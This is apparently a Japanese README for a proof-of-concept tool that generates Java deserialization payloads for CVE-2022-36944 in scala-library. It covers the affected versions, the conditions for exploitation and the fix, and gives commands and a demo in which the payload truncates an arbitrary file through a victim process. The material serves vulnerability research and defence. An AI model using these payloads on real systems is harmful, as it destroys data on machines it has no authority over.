CVE-2022-36944 ペイロードジェネレーター

このミニプロジェクトは、CVE-2022-36944 脆弱性の概念実証を示すために作成されました。ysoserial に似ていますが、LazyList クラスを使用してこの CVE 専用のペイロードのみを生成します。

クイックFAQ

脆弱性をもたらすアーティファクトは何ですか？

2.13.9 より前のバージョン 2.13.x の org.scala-lang:scala-library

影響を受けるアプリケーションは？

アプリケーションが悪用可能になるには、次の2つの条件が揃っている必要があります：

アプリケーションのクラスパスに脆弱な scala-library jar が含まれている
アプリケーション内のどこかで最終的に ObjectInputStream#readObject() が呼び出され、信頼できないデータ（攻撃者制御）が渡される

脆弱性はどこで修正されましたか？

Scala の PR を参照してください: #10118

ビルド

mvn clean package

実行

次のコマンドはペイロードを stdout にダンプします。これは被害者のマシン上で任意のファイルを切り詰めるために使用できます：

mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"

デモ

A) ファイル経由

テストファイルにデータを入れて準備します：

$ yes sometestdata > test_data
^C
$ head test_data 
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata

ペイロードを生成して payload.ser ファイルに保存します：

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser

被害者プロセスを実行します（ClassCastException が発生します）：

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException

被害者のファイルが切り詰められていることを確認します：

$ head test_data 
$

B) 標準入力へのパイプ

手順2と3は次のように組み合わせることができます（Victim のファイルとしては "-" を使用します）：

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException

lazylist-cve-poc

人気